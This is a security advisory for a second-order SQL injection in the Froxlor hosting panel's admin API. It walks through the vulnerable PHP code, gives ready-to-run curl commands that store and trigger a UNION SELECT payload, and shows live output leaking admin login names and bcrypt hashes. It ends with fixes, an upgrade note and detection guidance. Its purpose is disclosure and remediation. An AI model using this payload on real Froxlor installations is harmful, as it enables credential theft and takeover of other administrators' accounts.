GHSA-w27m-rmmf-g5w4: SQL Injection
Summary
A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the paneladmins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.
---
Details
The vulnerability spans two code locations that form a store-then-trigger chain.
Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358
php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (isarray([...]) && nonemptyarray > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && $ipaddress > 0 ? jsonencode($ipaddress) // ← attacker payload written to paneladmins.ip : -1),
The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.
Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77
php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // jsondecode restores the array; implode joins elements with no casting or escaping $ipwhere = "WHERE id IN (" . implode(", ", jsondecode($this->getUserDetail('ip'), true)) . ")"; } $resultstmt = Database::prepare( "SELECT FROM panelipsandports " . $ipwhere . ... ); // Final SQL: SELECT FROM panelipsandports WHERE id IN (<PAYLOAD>)
The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.
Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.
---
PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />
Prerequisites: Valid Froxlor admin API key with changeserversettings = 1.
Step 1 — Poison: store the UNION SELECT payload via Admins.add
bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "newloginname": "eviladmin", "email": "x@x.local", "adminpassword": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"] } }'
The ip column of paneladmins for eviladmin now contains: ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"]
Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account
No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:
http://TARGET/adminindex.php?page=ipsandports
Or directly via API:
bash curl -s -u "EVILAPIKEY:EVILSECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}'
Confirmed output from live instance (localhost:8290):
json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }
The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.
Minimum reproduction — two CMD single-line commands:
Step 1: poison (run once with any admin API key that has changeserversettings=1):
cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"newloginname\":\"poc\",\"email\":\"x@x.local\",\"adminpassword\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -\"]}}"
Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):
cmd curl -su "POCAPIKEY:POCSECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
Confirmed output from live instance (localhost:8290) — step 2 alone:
cmd curl -su "evilkeyabc123:evilsecretxyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }
---
Impact
Type: Second-Order SQL Injection (UNION-based)
Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has changeserversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.
Consequences:
- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request. - Lateral movement — cracked hashes allow login to other admin accounts or customer accounts. - Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.
---
Fix
Option A (recommended) — Integer-cast all elements before implode:
php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ipids = arraymap('intval', jsondecode($this->getUserDetail('ip'), true)); $ipwhere = "WHERE id IN (" . implode(", ", $ipids) . ")";
Option B — Validate at storage time in Admins.add / Admins.update:
php // lib/Froxlor/Api/Commands/Admins.php if (isarray($ipaddress)) { $ipaddress = arrayfilter($ipaddress, 'isnumeric'); } 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && count($ipaddress) > 0 ? jsonencode(arraymap('intval', $ipaddress)) : -1),
Apply the same fix to the identical pattern in Domains.php:1016.
---
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.8
Event History
Frequently Asked Questions
What level of access does an attacker need?
Exploitation requires an authenticated administrator account with access to the Admins.add or Admins.update API endpoints. The attacker must then cause IpsAndPorts.listing to be called by the account whose panel_admins.ip value was poisoned.
What application actions are involved in exploitation?
The vulnerable behavior is reached when an administrator supplies a crafted array as the ipaddress parameter to Admins.add or Admins.update. The stored payload is later used in a UNION-based SQL injection when IpsAndPorts.listing is invoked.
What data could an attacker obtain?
Successful exploitation can return arbitrary database data, including administrator login names and bcrypt password hashes. The described impact affects confidentiality, integrity, and availability.
How can I check for signs of exploitation?
Review panel_admins.ip values for unexpected JSON arrays or SQL-like content, particularly for administrator accounts that used the Admins.add or Admins.update API. Also investigate calls to IpsAndPorts.listing made by accounts associated with suspicious stored IP data.
What can be done if patching is not immediately possible?
The references include a Froxlor 2.3.8 release and the remediation commit a1eaca5a1601c8a30e00814a4fc73ad0c185f89e. Until remediation is applied, restrict access to the affected administrator API endpoints and prevent untrusted administrators from submitting array-valued ipaddress input.